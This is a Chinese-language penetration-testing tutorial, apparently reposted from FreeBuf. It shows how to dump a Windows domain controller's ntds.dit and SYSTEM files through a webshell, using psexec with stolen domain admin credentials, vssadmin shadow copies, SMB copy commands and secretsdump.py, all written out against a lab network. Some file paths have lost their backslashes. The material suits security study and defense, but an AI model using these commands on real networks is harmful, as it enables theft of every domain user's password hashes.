域控如何创建定时关机指令_通过Webshell远程导出域控ntds.dit的方法

嗨,大家好!这次我想分享一些与“Windows Active Directory(AD)”环境相关的内容。我将使用Web shell向大家演示“如何转储Windows Active Directory用户数据库”。可能有这样一种情况在渗透测试期间,渗透测试人员连接到了Windows Active Directory forest其中一台计算机并获得了“Domain Admin”用户凭据和Web shell访问权限。渗透测试人员试图进一步的获得Reverse shell,但由于某些原因阻止了该行为(假设网络防火墙不允许)但测试者的最终目标可能并不是获取shell,而是转储AD用户数据库,即用户和ADL环境的NTLM密码哈希值。

在渗透测试期间我也面临了同样的问题(没有公网IP服务器)。在稍稍讨论了该问题之后,我找到了一种方法,如果我们有“AD Domain Admin”用户凭据,那么通过WebShell就可以帮助我们实现上述目标。

这里,我们假设:

1、AD域控机器(queen.DC1.indishell.lab – 192.168.56.200)

2、被控制的Windows机器 – 连接到AD(LABONE – 192.168.56.101)

3、管理获取Windows AD域管理用户(你可以使用任何可用的exploit,在这里我使用的是“MS14-025”来获得域管理员用户密码的)

现在,我可以在Windows机器上进行访问web shell,它连接到域,即“LABONE”,其IP为“192.168.56.101”。域管理员的用户名为“user1”,密码为“ica_1046”。

这里,我将使用以下两个二进制文件:

1、psexec.exe < – Windows内部工具

2、vssadmin < – 用于创建/删除Windows驱动器的卷影副本的命令

无论如何,如果我们设法在Windows AD域控机器上运行“vssadmin”命令,“vssadmin”命令将生成“C”盘的卷影副本,并且从该卷影副本我们可以复制“ntds.dit”和“SYSTEM”文件。为了实现上述任务,我们将使用“psexec.exe”,如果我们使用“elevated”选项(通过指定-h)指定目标计算机IP、域管理员用户名及其密码,则可以在远程Windows计算机上执行命令。我们需要通过web shell在Windows机器“LABONE”上上传psexec.exe。从Web shell我们将使用“vssadmin”命令指定AD域控机器IP,域管理员用户名及其密码。

psexec文件将远程执行Windows AD域控计算机上的vssadmin命令。在创建“C”盘卷影副本之后,我们需要将“ntds.dit”和“SYSTEM”文件从该卷影副本复制到我们具有Web shell访问权限的机器上,即Windows域机器“LABONE”。这个任务可以通过使用“psexec”来完成,我们只需在“copy”命令中指定目标AD域控机器的IP,域管理员用户名和密码即可,请使用SMB将ndts.dit和SYSTEM文件从卷影副本复制到LABONE机器。这里,我将这些文件复制到了我转储psexec文件的同一目录下。

使用“psexec”在远程主机上执行命令的常规用法:

psexec.exe emote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"

就我而言,我应填写如下信息:

remote_IP 192.168.56.200(queen.DC1.indishell.lab)

user_name user1

password_of_the_user ica_1046

我在Windows域机器“LABONE”上具有web shell访问权限,并在服务器上传了psexec二进制文件。

163dcd28f1cc2a612646490801f1ade3.png

首先,我们先来检查下是否有“C”盘的卷影副本可用。你可以使用以下命令来列出可用的卷影副本:

vssadmin list shadows

这里,web shell无法显示远程主机上psexec binary执行的所有命令输出,所以我将命令输出重定向到了“LABONE”上,并保存在C:xampphtdocsboxps目录下。执行该步骤的命令如下:

PsExec.exe 192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > 192.168.56.101C$xampphtdocsboxpsout.txt"
77dda1be26eb41a94f837884ab154325.png

Web shell显示psexec正在远程Windows AD域控机器上执行命令。如果一切顺利,我们将在目录“C:xampphtdocsboxps”中获取到一个名为“out.txt”的文件,它将包含在AD域控(192.168.56.200)上执行的“vssadmin list shadows”命令的输出。

f795446da05f52a6495e1904960aecd1.png

可以看到out.txt文件已生成在了目录中,让我们来查看下其中的内容。

14b160f38d0aa451903fbbe56616e028.png

“out.txt”文件内容显示,目标域控机器到目前为止并没有任何的卷影副本。

让我们创建一个“C”盘的卷影副本,以窃取“ntds.dit”和“SYSTEM”文件。

用于创建c盘卷影副本的命令如下:

vssadmin create shadow /for=C:

我们需要有新创建的“C”盘卷影副本的名称它将在命令的输出中,因此我们将把上述命令的输出重定向到我们拥有web shell访问权的机器上。

要从目标机器复制“ntds.dit”和“SYSTEM”文件,我们需要有卷影副本的名称。最终的命令为:

PsExec.exe 192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >

以上命令,psexec正在Windows AD域控机器(192.168.56.200)上执行命令创建“C”盘的卷影副本,然后将该命令的输出重定向到 “LABONE”机器的 “C:xmpphtdocsboxpsout.txt”文件中。

3a0c3fab36aac7fed4d4adf78d723be6.png

“out.txt”文件的内容将告诉我们卷影副本的位置。

10474d37766ec761d4fe7eb658111b28.png

在以上截图中我们可以看到,卷影副本的卷名为“?GLOBALROOTDeviceHarddiskVolumeShadowCopy5”。

“ntds.dit”和“SYSTEM”文件的位置如下:

“shadow_copy_volume_nameWindowsNTDSNTDS.dit”

”shadow_copy_volume_nameWindowsSystem32configSYSTEM”

即:

“?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsNTDSNTDS.dit”

“?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsSystem32configSYSTEM”

让我们使用以下命令从目标Windows AD域控机器复制“ntds.dit”文件:

PsExec.exe 192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsNTDSNTDS.dit 192.168.56.101C$xampphtdocsboxps"

此命令将会将“ntds.dit”文件从远程机器(192.168.56.200)复制到“LABONE”机器(192.168.56.101)的“C:xampphtdocsboxps”目录下。

abb2cb8a0df6694b43fd5989f9ab5b27.png

可以看到web shell显示,一个文件已从目标DC机器复制到了我的机器上。让我们确认并检查“C:xampphtdocsboxps”看看是否已成功复制“ntds.dit”文件。

0a106c4ef294c792cf2efacf61d9edcf.png

如上所示,“ntds.dit”文件已成功被复制到了“LABONE”机器上。

同样,我们使用该命令复制“SYSTEM”文件:

PsExec.exe 192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsSystem32configSYSTEM
764cf43402cf4fe103c6e73a8e62ff64.png

命令执行成功,Web shell显示“1 file copied”的消息提示。再次检查并确认是否成功执行。

d11333d7ba4ca2fdd35d8d8be1c46ebc.png

可以看到“SYSTEM”文件也已成功被复制到了 ”LABONE”机器上。我们可以从这里使用web shell下载这些文件。

现在,我们可以使用python脚本secretsdump.py,从“ntds.dit”和“SYSTEM”文件中提取Domain,udi,rid LM和NT hashes。命令如下:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
5e5473eb287b23ac5969f084ec24934b.png

结果如下:

93dd37ab1d66135eb2737c7041abb7ed.png

感谢阅读!希望大家继续支持并关注我!

*参考来源:mannulinux,FB小编secist编译,转载请注明来自FreeBuf.COM

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值